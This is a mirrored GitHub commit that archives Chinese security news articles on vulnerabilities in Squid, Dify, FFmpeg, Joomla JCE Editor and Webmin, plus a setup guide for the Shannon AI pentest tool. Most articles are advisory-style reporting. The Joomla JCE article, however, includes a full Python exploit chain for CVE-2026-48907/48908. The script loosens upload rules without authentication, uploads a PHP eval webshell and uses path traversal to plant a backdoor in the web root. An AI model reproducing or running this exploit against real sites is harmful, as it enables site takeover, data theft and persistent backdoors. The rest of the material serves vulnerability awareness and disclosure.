mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
Joomla JCE Editor 双高危漏洞预警（CVE-2026-48907 ∕ CVE-2026-48908）、用 AI 挖掘 IDA Pro 任意代码执行漏洞、漏洞预警 | Linux kernel权限提升漏洞、三星 KNOX 内核释放后重用漏洞，数百万 Galaxy 系列手机面临风险、【$5,000】Burp Suite Professional 中的RCE漏洞-PoC及视频演示、DifyTap：四大漏洞致使超百万个 AI 应用面临安全威胁、漏洞产生的五个原因、国际足联后台曝出高危漏洞，黑客可随意篡改世界杯直播、Claude Mythos Preview发现潜藏29年的“Squidbleed”漏洞、Webmin 2.641 修复三个漏洞，其中包括一个严重的身份验证绕过漏洞、漏洞预警 | 大蚂蚁即时通讯系统任意文件上传漏洞、FFmpeg 严重漏洞允许攻击者利用媒体文件进行攻击、Shannon：Keygraph 开源 AI 渗透测试框架，从源码分析到真实漏洞利用、
This commit is contained in:
test committed
1 parent
2850032012
commit
388e1f1a3c
14 files changed
+1245
-1
No files matched your search
@@ -21370,5 +21370,18 @@
|
||||
"https://mp.weixin.qq.com/s/z79RMurKCSyQAIC0ouPKkA": "Groundsource：来自公开的全球洪水事件数据集",
|
||||
"https://mp.weixin.qq.com/s/wXvrIb9uJhHC7NRmucG9Cw": "H5渗透实战：从复数金额漏洞到签名绕过",
|
||||
"https://mp.weixin.qq.com/s/KwAlhq-n4QE8RvF8i1n7gA": "14个开源项目、11个零权限RCE——这个AI审计系统开放公开挑战了",
|
||||
"https://mp.weixin.qq.com/s/24CpFv66uSmVpZU-Kht9Nw": "谷歌拒修 Kubernetes 操作器满分漏洞并拒发赏金"
|
||||
"https://mp.weixin.qq.com/s/24CpFv66uSmVpZU-Kht9Nw": "谷歌拒修 Kubernetes 操作器满分漏洞并拒发赏金",
|
||||
"https://mp.weixin.qq.com/s/fUnhFCG40nZ1Evik1wYz1g": "Joomla JCE Editor 双高危漏洞预警（CVE-2026-48907 ∕ CVE-2026-48908）",
|
||||
"https://mp.weixin.qq.com/s/kskTQ5jSnmDAK47sVuzBkw": "用 AI 挖掘 IDA Pro 任意代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s/Z-T84ceSUzTF9BoA697AZw": "漏洞预警 | Linux kernel权限提升漏洞",
|
||||
"https://mp.weixin.qq.com/s/fnrsm_ZiyNdY5RO_mSafIQ": "三星 KNOX 内核释放后重用漏洞，数百万 Galaxy 系列手机面临风险",
|
||||
"https://mp.weixin.qq.com/s/bpFxlrCS9IzaAaSTHuTjRQ": "【$5,000】Burp Suite Professional 中的RCE漏洞-PoC及视频演示",
|
||||
"https://mp.weixin.qq.com/s/R5dOY9rgc_iDddVB1vtBHA": "DifyTap：四大漏洞致使超百万个 AI 应用面临安全威胁",
|
||||
"https://mp.weixin.qq.com/s/wT1VgZOaLcQ0dEtwtCNytw": "漏洞产生的五个原因",
|
||||
"https://mp.weixin.qq.com/s/YV6Vlh7EGTXijGmu3rTSUg": "国际足联后台曝出高危漏洞，黑客可随意篡改世界杯直播",
|
||||
"https://mp.weixin.qq.com/s/CnDm2DWTOSZi22ez7el_qw": "Claude Mythos Preview发现潜藏29年的“Squidbleed”漏洞",
|
||||
"https://mp.weixin.qq.com/s/NL2Oa8h__B4pquR5ppN9NQ": "Webmin 2.641 修复三个漏洞，其中包括一个严重的身份验证绕过漏洞",
|
||||
"https://mp.weixin.qq.com/s/Rk9z5dbGcsGAv1wiCpH_VA": "漏洞预警 | 大蚂蚁即时通讯系统任意文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s/NyKqP_h4lq9qkqW8gVJN0w": "FFmpeg 严重漏洞允许攻击者利用媒体文件进行攻击",
|
||||
"https://mp.weixin.qq.com/s/KDPO1p04xSVJGchnSC-qAQ": "Shannon：Keygraph 开源 AI 渗透测试框架，从源码分析到真实漏洞利用"
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
# Claude Mythos Preview发现潜藏29年的“Squidbleed”漏洞
|
||||
FreeBuf 2026-06-23 12:00
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
安全研究人员在Squid代理软件中发现了一个类似Heartbleed的堆缓冲区越界读取漏洞，该漏洞自1997年以来一直存在，可悄无声息地泄露同一代理上其他用户的HTTP头信息（包括密码和API密钥）。Calif.io的安全研究人员披露了这个名为Squidbleed的关键内存泄露漏洞，其发现得到了Anthropic公司Claude Mythos Preview AI模型的协助。
|
||||
|
||||
|
||||
该漏洞影响所有默认配置下的Squid版本，且已潜伏近三十年之久，甚至早于Squid在GitHub仓库中的所有可用提交记录。
|
||||
|
||||
|
||||
Part
|
||||
01
|
||||
|
||||
29年历史的Squidbleed漏洞
|
||||
|
||||
Squidbleed（CVE编号待定）是一个存在于Squid FTP目录列表解析器中的堆缓冲区越界读取漏洞。当被利用时，会导致Squid读取超出堆分配缓冲区的内存，并将这些残留数据作为FTP目录列表响应的一部分返回，其中可能包含其他用户的HTTP请求、授权头信息或API密钥。
|
||||
|
||||
|
||||
该漏洞可追溯至1997年1月18日的一个提交，该提交添加了处理NetWare FTP服务器的逻辑，这些服务器在文件修改时间戳和文件名之间放置了四个空格。修复代码引入了一个while(strchr(w_space, *copyFrom))循环，旨在跳过额外的空白字符。
|
||||
|
||||
|
||||
然而存在一个关键疏忽：根据C11 §7.24.5.2标准，C语言中的strchr函数将空终止符（\0）视为搜索字符串的一部分。当时间戳后没有文件名时，copyFrom指向一个空字节，但strchr不会停止而是返回非NULL值，导致++copyFrom递增超过缓冲区边界进入相邻的堆内存。
|
||||
|
||||
|
||||
经AddressSanitizer (ASAN)验证，确认存在最多4,065字节的堆越界读取。
|
||||
|
||||
|
||||
Squid在malloc之上使用按大小分类的空闲列表。当4KB缓冲区被释放时，会被回收而不清零。如果受害者的HTTP请求先前存储在MEM_4K_BUF中（Squid 7.x上大多数标准HTTP请求都是这种情况，其中CLIENT_REQ_BUF_SZ设置为4096），只有前几十个字节会被简短的FTP列表行覆盖。缓冲区的其余部分仍保留受害者的残留请求数据。
|
||||
|
||||
|
||||
控制可从代理访问的FTP服务器的攻击者，可以通过发送不含文件名的畸形目录列表来触发越界读取，导致Squid返回受害者的回收HTTP数据（包括Authorization头信息和会话令牌）作为FTP响应的一部分。
|
||||
|
||||
|
||||
Part
|
||||
02
|
||||
|
||||
Squidbleed攻击面
|
||||
|
||||
攻击面具有特定条件但切实存在：
|
||||
|
||||
- 必须启用FTP支持（默认开启）
|
||||
|
||||
- 攻击者必须控制可从代理TCP端口21访问的FTP服务器（包含在Squid默认的Safe_ports ACL中）
|
||||
|
||||
- 受害者流量必须是明文HTTP或通过TLS终止代理设置（HTTPS CONNECT隧道不透明且不受影响）
|
||||
|
||||
|
||||
研究人员通过共享Squid代理从登录页面泄露Authorization头信息证实了该攻击。GitHub上已公开PoC。
|
||||
|
||||
|
||||
修复方案是在每次strchr调用前添加单行空值检查：
|
||||
|
||||
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
该补丁已合并到Squid代码库。强烈建议管理员禁用FTP支持（除非明确需要），因为包括所有基于Chromium的浏览器在内的大多数现代浏览器多年前就已放弃FTP支持，使得合法的FTP代理流量极为罕见。
|
||||
|
||||
|
||||
该发现是通过指导Claude Mythos Preview使用多Agent分析调查Squid的FTP状态机实现的。该模型几乎立即标记出了strchr空终止符行为，展示了基于C标准参考训练的LLM如何能发现人类代码审查容易忽略的微妙API契约违规。
|
||||
|
||||
|
||||
此前该团队曾披露使用OpenAI的Codex Cyber发现的隐藏HTTP/2漏洞，这标志着AI辅助开源安全审计的更广泛趋势。
|
||||
|
||||
|
||||
参考来源：
|
||||
|
||||
29-Year-Old 'Squidbleed' Vulnerability Discovered With the Aid of Claude Mythos Preview
|
||||
|
||||
https://cybersecuritynews.com/squidbleed-vulnerability/
|
||||
|
||||
****
|
||||
**推荐阅读**
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651340988&idx=1&sn=0937f2692c838e2a62e89dde8d9dbe41&scene=21#wechat_redirect)
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
### 电报讨论
|
||||
|
||||
|
||||
[]()
|
||||
|
||||
###
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
# DifyTap：四大漏洞致使超百万个 AI 应用面临安全威胁
|
||||
鹏鹏同学
|
||||
鹏鹏同学 黑猫安全 2026-06-24 00:50
|
||||
|
||||
|
||||
|
||||
扎夫兰实验室研究人员披露了开源 AI 平台 Dify 存在的四处安全漏洞。沃尔沃、马士基等大型企业均在使用该平台，覆盖 60 余个行业、承载超百万套 AI 应用。其中两处漏洞评级为**严重高危**
|
||||
，两处可无认证直接利用，三处漏洞会产生跨租户影响 —— 在 Dify 云服务环境下，一名客户能够读取其他客户的私密数据。研究团队将这组漏洞统一命名为 DifyTap。
|
||||
|
||||
首个、也是危害最严重的漏洞编号 CVE-2026-41947，CVSS 风险评分 9.1，存在于 Dify 链路追踪模块。该组件负责记录交互消息与大模型返回内容，用于运维监控与数据分析。
|
||||
|
||||
官方安全公告记载：“攻击者可对自身能以客户端身份访问的任意应用配置专属追踪规则，其中包含所有对外公开的 AI 应用。攻击者借此搭建持久化数据窃取通道，抓取应用内全部对话消息与模型回复内容。”
|
||||
|
||||
实施该攻击仅需注册一个 Dify 控制台账号，攻击门槛极低。
|
||||
|
||||
第二处高危漏洞编号 CVE-2026-41948，CVSS 评分 9.4，位于插件守护进程（Plugin Daemon）—— 该内部服务负责驱动 Dify 全套插件体系。
|
||||
|
||||
报告指出：“我们发现两类攻击原语，可调用插件守护进程内任意接口，一类通过 GET 请求实现，另一类依靠 POST 请求。”
|
||||
|
||||
GET 攻击原语原理：在插件图标请求的文件名字段注入路径穿越载荷，参数未经过滤直接拼接至内部接口地址。更危险的是，该接口无需任何登录认证，只要网络可达 Dify 实例即可发起攻击。POST 攻击原语逻辑相近，漏洞点位于任务删除接口。
|
||||
|
||||
剩余两处漏洞编号分别为 CVE-2026-41949、CVE-2026-41950，均与文件访问权限管控失效相关。文档上传预览接口仅校验文件类型是否为文档，未做文件归属校验、租户隔离校验。任意控制台用户均可预览系统内全部文档。另一处漏洞允许客户端将其他用户的文件唯一标识符（UUID）挂载至自身对话消息，再调用支持文件读取能力的对话机器人读取完整文件内容；向 AI 指令要求复述文件全文，机器人会直接返回文件信息。
|
||||
|
||||
研究团队还发现，Dify 内置的 PDFium 二进制程序长期存在 CVE-2024-5846 释放后重用漏洞，该漏洞早在 2024 年 6 月就已公开披露，而 Dify 直至 2025 年 12 月 21 日才完成修复，漏洞暴露时长超一年半。普通终端用户仅需上传恶意 PDF 文件至预览接口，即可触发该漏洞。
|
||||
|
||||
报告补充：“放眼整个行业，大量 AI 应用都面临同类风险。这类平台普遍支持解析来自不可信来源的多种文件格式，终端用户可利用 PDFium、FFmpeg 等工具库的已知漏洞发起攻击。除持续更新依赖库版本外，平台还需为文件解析操作部署独立沙箱隔离机制。”
|
||||
|
||||
该问题属于行业共性缺陷，并非 Dify 独有。
|
||||
|
||||
本次研究还暴露出容器安全扫描存在盲区：Dify 会将未打包的 Python 源码直接写入容器镜像，常规扫描工具无法识别镜像内搭载的业务程序，自然无法检出对应漏洞。为此扎夫兰实验室提出一种名为**影子容器镜像组件补全**
|
||||
的检测方案，用于识别容器镜像对应的业务项目，并匹配项目层面的 CVE 漏洞库。若缺少这类增强检测手段，Dify 的全部漏洞都会被自动化扫描工具完全遗漏。
|
||||
|
||||
Dify 1.14.2 版本已修复上述全部漏洞。
|
||||
|
||||
报告最后建议：“若当前业务环境运行 Dify 1.14.2 版本，强烈建议配置专门的 Web 应用防火墙（WAF）防护规则，针对性缓解 CVE-2026-41948 漏洞风险。”
|
||||
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
# FFmpeg 严重漏洞允许攻击者利用媒体文件进行攻击
|
||||
原创 网络安全9527
|
||||
网络安全9527 安全圈的那点事儿 2026-06-23 11:20
|
||||
|
||||
FFmpeg 的 MagicYUV 解码器中披露了一个严重漏洞，攻击者可以利用该漏洞将看似无害的媒体文件武器化，并在某些情况下实现远程代码执行 (RCE)。
|
||||
|
||||
该漏洞被追踪为 CVE-2026-8461，并被命名为“PixelSmash”，是 FFmpeg 的 libavcodec 组件中的一个堆越界写入漏洞，其 CVSS 评分为 8.8（高危）。
|
||||
|
||||
根据 JFrog 安全研究，一个精心制作的 AVI、MKV 或 MOV 文件就足以使应用程序崩溃，或者通过更精细的攻击链，在底层系统上执行任意命令。
|
||||
|
||||
FFmpeg 是应用最广泛的媒体处理框架之一，被集成到无数应用程序中，包括桌面视频播放器、Linux 缩略图生成器、自托管媒体服务器、云转码管道，甚至 AI/ML 数据处理堆栈。
|
||||
|
||||
由于 MagicYUV 解码器在上游 FFmpeg 构建和大多数主流Linux 发行版中默认启用，因此该错误会悄无声息地传播到任何链接 libavcodec 的项目中。
|
||||
|
||||
|
||||
## FFmpeg漏洞
|
||||
|
||||
JFrog 已确认 Kodi、mpv、ffmpegthumbnailer、Jellyfin、Emby、Nextcloud、Immich、PhotoPrism 和 OBS Studio 等应用程序会崩溃，并使用恶意 50 KB AVI 文件演示了对 Jellyfin 媒体服务器和 Nextcloud 实例的完整远程代码执行 (RCE)。
|
||||
|
||||
根本原因在于 MagicYUV 解码器处理视频切片和色度平面高度的方式。MagicYUV 每帧使用水平分割的切片，对于像 YUV420P 这样的子采样格式，解码器必须将亮度切片高度转换为色度切片高度。
|
||||
|
||||
由于帧分配器和解码器之间存在舍入误差，攻击者控制的 slice_height 值可能导致 FFmpeg 将一整行色度数据写入堆分配缓冲区末尾之外。
|
||||
|
||||
在概念验证中，精心设计的媒体流将 slice_height 设置为奇数，导致累积了差一行，从而将写入直接推入相邻的堆结构。
|
||||
|
||||
关键在于，溢出的写入操作会落到 FFmpeg 用于引用计数帧缓冲区的 AVBuffer 结构上。
|
||||
|
||||
通过构造恶意载荷，攻击者可以覆盖 FFmpeg 内存结构，导致调用system()带有攻击者控制命令的函数，从而实现远程代码执行。
|
||||
|
||||
在 JFrog 的 Jellyfin 漏洞利用中，它被武器化为一个反向 shell，一旦媒体库扫描触发了恶意文件的 ffprobe，该反向 shell 就会以 Jellyfin 服务账户的身份执行。
|
||||
|
||||
|
||||
|
||||
攻击面很广，而且通常“几乎无需点击”。在桌面系统上，只需浏览到某个文件夹即可通过 ffmpegthumbnailer 触发缩略图生成，从而激活该漏洞。
|
||||
|
||||
在服务器上，Jellyfin、Emby 和 Nextcloud 等媒体平台会在新文件出现或被查看时自动调用 ffmpeg 或 ffprobe 来生成预览和元数据。
|
||||
|
||||
JFrog 还警告说，在云媒体管道和使用 FFmpeg（直接或通过 PyAV/OpenCV）解码用户提供的视频的 AI/ML 环境中也存在类似的向量。
|
||||
|
||||
将 PixelSmash 变成共享推理或数据处理工作进程中潜在的拒绝服务或攻击原语。
|
||||
|
||||
要利用 PixelSmash 漏洞，攻击者只需将精心制作的媒体文件提供给任何使用启用了 MagicYUV 的 FFmpeg 解码视频的应用程序即可。
|
||||
|
||||
除了能够上传、共享或放置文件进行自动处理之外，无需任何身份验证或高级权限。
|
||||
|
||||
这使得像 torrent 客户端直接写入媒体库目录这样的常见设置变得特别危险，因为 Jellyfin 式的自动扫描可以在下载后立即处理恶意内容，而无需任何用户交互。
|
||||
|
||||
|
||||
|
||||
该漏洞已在已打补丁的 FFmpeg 版本中修复（例如，应用了 MagicYUV 边界检查的 8.1.2 或更高版本），强烈建议用户尽快升级其 FFmpeg 版本。
|
||||
|
||||
作为临时缓解措施，管理员可以重新构建 FFmpeg 并禁用 MagicYUV 解码器，或者应用最小补丁，在解码之前拒绝无效的 slice_height 值。
|
||||
|
||||
由于这是基础库中的供应链问题，建议嵌入 FFmpeg 的项目审核其构建，尽可能减少启用的编解码器，并采用类似于 Plex 的最小解码器配置的允许列表策略，以限制未来的影响范围。
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
# Joomla JCE Editor 双高危漏洞预警（CVE-2026-48907 / CVE-2026-48908）
|
||||
飓风网络安全 2026-06-23 14:33
|
||||
|
||||
|
||||
|
||||
**一、漏洞对象：**Joomla 第三方主流编辑器插件 JCE Editor（jce）
|
||||
|
||||
|
||||
|
||||
|
||||
**二、漏洞原理深度拆解**2.1 CVE-2026-48907 根因分析JCE Editor 的编辑器配置保存接口 profiles.save 缺少全局身份校验中间件：1. 正常逻辑：仅后台管理员可新建/编辑编辑器配置文件（profile）；2. 缺陷代码：控制器未校验 $user->authorise('core.manage', 'com_jce')，任意匿名访问者可POST调用保存接口；3. 配置可控项包含 文件上传白名单、MIME校验、文件大小限制；攻击者可构造恶意配置：清空上传黑名单，添加 .php, .phtml, .phar 至允许后缀；关闭文件内容校验、MIME头校验、图片二次渲染检测；4. 保存恶意配置后，调用文件上传接口即可无限制上传PHP脚本，完成远程代码执行。源码缺陷伪代码（简化）：// 漏洞代码 /components/com_jce/controllers/profile.phppublic function save() { // 缺失管理员权限校验 $data = $this->input->getArray(); $model = $this->getModel('Profile'); $model->save($data); // 直接保存可控上传规则}2.2 CVE-2026-48908 根因分析文件上传接口未对上传文件名做路径标准化过滤，未拦截 ../ 目录穿越字符：1. 上传请求中 filename 参数可控，可传入 ../configuration.php；2. 后端直接拼接路径 $upload_dir . $filename，未调用 realpath() 规范化；3. 攻击者可覆盖网站核心配置文件、写入Webshell到网站根目录、覆盖管理员登录文件。缺陷逻辑伪代码：// 漏洞上传逻辑$filename = $_FILES['file']['name']; // 可控，携带../$dest = JPATH_SITE . '/media/jce/' . $filename;move_uploaded_file($_FILES['file']['tmp_name'], $dest); // 无路径清洗2.3 漏洞联动利用链路（完整入侵链）1. 匿名访问调用 profiles.save 创建恶意上传配置（CVE-48907）；2. 调用文件管理器上传接口，上传PHP Webshell到网站media目录；3. 利用CVE-48908路径穿越，将Webshell移动至网站根目录；4. 覆盖 configuration.php 获取数据库账号，拖库、植入持久化后门、横向渗透服务器。**三、漏洞检测方法**3.1 手工检测Payload（GET）# 检测48907权限绕过接口是否开放GET /index.php?option=com_jce&task=profiles.save HTTP/1.1Host: target.com# 检测插件版本GET /components/com_jce/jce.xml HTTP/1.1返回xml中version < 2.9.60 即为受影响。四、完整可执行PoC（Python3，授权渗透测试专用）PoC功能说明1. 自动创建恶意上传配置2. 上传PHP一句话Webshell3. 路径穿越移动后门至网站根目录（利用CVE-48908）4. 输出Webshell访问地址# JCE Editor CVE-2026-48907 + CVE-2026-48908 联合利用PoC# 仅用于企业授权安全测试，非法使用后果自负import requestsimport argparsesession = requests.Session()def create_malicious_profile(target_url): """步骤1：未授权创建恶意编辑器配置，放开PHP上传限制 CVE-48907""" save_api = f"{target_url}/index.php?option=com_jce&task=profiles.save" post_data = { "id": "", "title": "attack_profile", "upload_extensions": "jpg,jpeg,gif,png,bmp,php,phtml,phar", "upload_mime": "", "upload_validate": "0", "upload_clean": "0", "upload_security": "0", "upload_maxsize": "52428800" } resp = session.post(save_api, data=post_data, verify=False, timeout=10) if resp.status_code == 200: print("[+] CVE-48907 配置创建成功，已放行PHP文件上传") return True else: print("[-] 配置创建失败，目标可能已修复或WAF拦截") return Falsedef upload_webshell(target_url): """步骤2：上传PHP一句话后门""" upload_api = f"{target_url}/index.php?option=com_jce&task=filemanager.upload" webshell_code = b'<?php eval($_POST["cmd"]); ?>' files = { 'file': ('temp_shell.php', webshell_code, 'application/x-php') } upload_data = { "folder": "/media/jce/" } resp = session.post(upload_api, files=files, data=upload_data, verify=False, timeout=10) if "temp_shell.php" in resp.text: print("[+] Webshell上传成功 /media/jce/temp_shell.php") return "/media/jce/temp_shell.php" return Nonedef path_traverse_move(target_url, shell_path): """步骤3：路径穿越移动后门到网站根目录 CVE-48908""" move_api = f"{target_url}/index.php?option=com_jce&task=filemanager.move" post_data = { "source": shell_path, "destination": "../shell_backdoor.php" # 路径穿越至网站根目录 } resp = session.post(move_api, data=post_data, verify=False, timeout=10) print("[+] CVE-48908路径穿越执行完成，根目录后门地址：") print(f" {target_url}/shell_backdoor.php") print("[!] 连接密码: cmd, POST传入参数执行系统命令")def main(): parser = argparse.ArgumentParser(description="CVE-2026-48907 + 48908 Joomla JCE Exploit PoC") parser.add_argument("-u", "--url", required=True, help="目标Joomla站点，例 http://127.0.0.1/joomla") args = parser.parse_argLine truncated
|
||||
@@ -0,0 +1,220 @@
|
||||
# Shannon：Keygraph 开源 AI 渗透测试框架，从源码分析到真实漏洞利用
|
||||
原创 Arthur
|
||||
Arthur C4安全 2026-06-24 01:22
|
||||
|
||||
|
||||
|
||||
简介-主要功能
|
||||
|
||||
1. 完全自主的渗透测试流程
|
||||
|
||||
Shannon只需一个命令即可启动完整的渗透测试流程。系统自动处理从侦察到报告生成的所有阶段，包括目标识别、技术栈分析、攻击面映射、漏洞分析和实际利用。这种端到端的自动化使得非安全专家也能轻松运行专业的渗透测试。
|
||||
|
||||
2. 白盒源代码感知分析
|
||||
|
||||
与传统的黑盒扫描器不同，Shannon能够访问和分析应用程序的源代码。它通过代码审查理解应用程序的业务逻辑、数据流和控制流，从而指导攻击策略。这种代码感知能力使得Shannon能够发现那些仅通过外部观察难以识别的深层漏洞。
|
||||
|
||||
3. 可复现的漏洞证明
|
||||
|
||||
Shannon坚持“无漏洞利用，不报告”的原则。每个被报告的漏洞都附有可复制粘贴的漏洞证明（PoC），开发团队可以立即验证漏洞的真实性和严重程度。这种实践导向的方法大大减少了安全团队和开发团队之间的摩擦。
|
||||
|
||||
4. OWASP漏洞全面覆盖
|
||||
|
||||
系统专门针对OWASP Top 10中的关键类别进行优化，包括注入攻击（SQLi、命令注入）、跨站脚本（XSS）、服务器端请求伪造（SSRF）以及身份验证和授权漏洞。每个漏洞类别都有专门的智能体进行分析和利用。
|
||||
|
||||
5. 并行处理架构
|
||||
|
||||
为了提高测试效率，Shannon采用并行处理架构。漏洞分析和利用阶段在所有攻击类别中同时运行，这意味着注入攻击、XSS、SSRF等测试可以并行进行，而不是顺序执行，大大缩短了整体测试时间。
|
||||
|
||||
6. 集成安全工具链
|
||||
|
||||
Shannon在侦察和发现阶段集成了行业标准的工具，包括Nmap（端口扫描）、Subfinder（子域名发现）、WhatWeb（技术栈识别）和Schemathesis（API测试）。这些工具的输出被整合到AI的分析过程中，提供更全面的攻击面视图。
|
||||
|
||||
7. 多模型AI支持
|
||||
|
||||
除了原生的Anthropic Claude模型支持外，Shannon还兼容AWS Bedrock和Google Vertex AI，用户可以根据自己的基础设施偏好选择AI后端。系统使用三种模型层级：小型模型用于摘要任务，中型模型用于安全分析，大型模型用于深度推理。
|
||||
|
||||
8. 工作空间和恢复功能
|
||||
|
||||
Shannon支持工作空间概念，允许用户为每次测试运行指定自定义名称。如果测试因故中断，可以从上次完成的地方恢复，跳过已经成功完成的智能体，避免重复工作，节省时间和API调用成本。
|
||||
|
||||
|
||||
|
||||
部署与运行全流程
|
||||
|
||||
环境准备
|
||||
|
||||
想要运行这个AI，你只需要两样东西：
|
||||
|
||||
Docker：Shannon 运行在容器中，确保环境隔离。
|
||||
安装地址：https://docs.docker.com/get-docker/
|
||||
|
||||
|
||||
```
|
||||
Anthropic API Key（推荐）：从 https://console.anthropic.com 获取。
|
||||
也支持 Claude Code OAuth Token，或实验性地通过 OpenRouter 使用 OpenAI / Gemini 模型。
|
||||
```
|
||||
|
||||
|
||||
第一步：克隆项目
|
||||
|
||||
代码语言：
|
||||
|
||||
|
||||
```
|
||||
git clone https://github.com/KeygraphHQ/shannon.git
|
||||
cd shannon
|
||||
```
|
||||
|
||||
|
||||
第二步：配置凭证
|
||||
|
||||
方式 A：环境变量（推荐快速上手）
|
||||
|
||||
|
||||
```
|
||||
export ANTHROPIC_API_KEY="你的API密钥"
|
||||
export CLAUDE_CODE_MAX_OUTPUT_TOKENS=64000
|
||||
```
|
||||
|
||||
|
||||
方式 B：创建 .env 文件（推荐长期使用）
|
||||
|
||||
|
||||
```
|
||||
cat > .env << 'EOF'
|
||||
ANTHROPIC_API_KEY=你的API密钥
|
||||
CLAUDE_CODE_MAX_OUTPUT_TOKENS=64000
|
||||
EOF
|
||||
```
|
||||
|
||||
|
||||
第三步：启动渗透测试
|
||||
|
||||
|
||||
```
|
||||
./shannon start URL=https://你的应用地址.com REPO=/你的源码路径
|
||||
```
|
||||
|
||||
|
||||
Shannon 会自动构建容器、启动工作流，并返回一个工作流 ID。
|
||||
|
||||
整个测试在后台运行。
|
||||
|
||||
如果你在本地测试：Docker 容器无法直接访问宿主机的 localhost，需要改用 host.docker.internal：
|
||||
|
||||
|
||||
```
|
||||
./shannon start URL=http://host.docker.internal:3000 REPO=/path/to/repo
|
||||
```
|
||||
|
||||
|
||||
第四步：监控进度
|
||||
|
||||
|
||||
```
|
||||
# 查看实时日志
|
||||
./shannon logs
|
||||
|
||||
# 查询特定工作流的进度
|
||||
./shannon query ID=shannon-1234567890
|
||||
|
||||
# 打开 Temporal Web UI 查看详细状态
|
||||
open http://localhost:8233
|
||||
```
|
||||
|
||||
|
||||
第五步：查看结果
|
||||
测试完成后，报告默认保存在 ./audit-logs/ 目录下：
|
||||
|
||||
|
||||
```
|
||||
|
||||
audit-logs/{hostname}_{sessionId}/
|
||||
├── session.json # 会话指标数据
|
||||
├── agents/ # 各 Agent 的执行日志
|
||||
├── prompts/ # Prompt 快照（用于复现）
|
||||
└── deliverables/
|
||||
└── comprehensive_security_assessment_report.md # 最终安全评估报告
|
||||
```
|
||||
|
||||
|
||||
第六步：停止服务
|
||||
|
||||
|
||||
```
|
||||
# 停止容器（保留工作流数据）
|
||||
./shannon stop
|
||||
|
||||
# 完全清理（删除所有数据）
|
||||
./shannon stop CLEAN=true
|
||||
```
|
||||
|
||||
|
||||
**GitHub地址官方仓库地址：**
|
||||
https://github.com/KeygraphHQ/shannon
|
||||
|
||||
|
||||
内部CTF课程上线，总课程30+小时，优惠折扣中！
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzkzMzE5OTQzMA==&mid=2247490327&idx=1&sn=1c18cf9b93edc1488dbc3d3aff30fb5a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
帮会简介
|
||||
|
||||
《
|
||||
安全渗透感知
|
||||
》是FreeBuf知识大陆的重量级帮会，帮会致力于漏洞POC/EXP、红队攻防实战，是系统化从基础入门到实战漏洞挖掘的教程社区，包含团队自整的挖掘注意点和案例，还包含分享的渗透经验、SRC漏洞案例、代码审计、挖洞思路等高价值资源。
|
||||
|
||||
|
||||
内容框架（持续新增中）
|
||||
|
||||
|
||||
|
||||
目前已有「
|
||||
700+
|
||||
」小伙伴加入了帮会
|
||||
|
||||
|
||||
|
||||
|
||||
加入方式
|
||||
|
||||
目前帮会成员
|
||||
700+
|
||||
人，
|
||||
永久会员优惠后只需
|
||||
69.9元
|
||||
。
|
||||
|
||||
随着人数的增加及资源的积累，
|
||||
之后永久会员将
|
||||
涨价至99元
|
||||
。
|
||||
|
||||
|
||||
有意向的师傅们可以扫码加入我们，共同进步。
|
||||
|
||||
如何加入帮会？→
|
||||
安卓/苹果用户
|
||||
可扫码使用优惠券↓↓
|
||||
|
||||
|
||||
|
||||
|
||||
→ PC端用户可复制此链接到浏览器↓↓
|
||||
|
||||
https://wiki.freebuf.com/societyDetail?society_id=184
|
||||
|
||||
|
||||
已加入帮会的小伙伴
|
||||
可以加帮主进帮会内部交流群
|
||||
|
||||
|
||||
|
||||
请备注：帮会
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
# Webmin 2.641 修复三个漏洞，其中包括一个严重的身份验证绕过漏洞
|
||||
sec随谈
|
||||
sec随谈 sec随谈 2026-06-24 01:10
|
||||
|
||||
**简要概述**
|
||||
|
||||
Webmin
|
||||
发布了 2.641 版本，修复了三个安全漏洞。其中最严重的一个允许未经身份验证的攻击者冒充任意用户。另外两个漏洞可绕过多因素认证（MFA）并暴露配置文件。目前尚未发现公开的漏洞利用案例。
|
||||
|
||||
**为何值得关注**
|
||||
|
||||
Webmin
|
||||
是运行在类 Unix 服务器上的基于 Web 的管理面板，每年估计安装量达 100 万次。因此，一个漏洞就可能让攻击者控制大量系统。该工具管理着用户、服务、DNS 服务器和数据库，一旦被攻破，整个技术栈都将面临风险。此外，管理面板处于服务器信任体系的核心位置，进一步提升了威胁等级。
|
||||
|
||||
**攻击方式**
|
||||
|
||||
**CVE-2026-56020（CVSS 9.2）**
|
||||
|
||||
Webmin 的 HTTP 服务器 miniserv.pl 会信任伪造的 HTTP 头部。因此，远程攻击者可以伪造证书 DN，无需凭据即可以任意已配置用户的身份进行身份验证。这是本次最严重的漏洞。
|
||||
|
||||
**CVE-2026-56022（CVSS 6.9）**
|
||||
|
||||
通过构造 User-Agent: webmin
|
||||
头部，可使 Webmin 在没有会话 Cookie 的情况下接受基本认证，从而绕过额外的 MFA 检查。
|
||||
|
||||
**CVE-2026-56021（CVSS 6.9）**
|
||||
|
||||
由于正则表达式存在绕过缺陷，未经身份验证的用户可读取模块目录中任意以 .conf
|
||||
结尾的文件，进而获取配置信息和敏感凭据。
|
||||
|
||||
**受影响版本**
|
||||
|
||||
上述三个漏洞均影响 2.641 版本之前的所有 Webmin 发行版，且在默认配置下即可触发，并非仅限于特殊配置场景。详细信息可参阅
|
||||
官方安全公告
|
||||
。
|
||||
|
||||
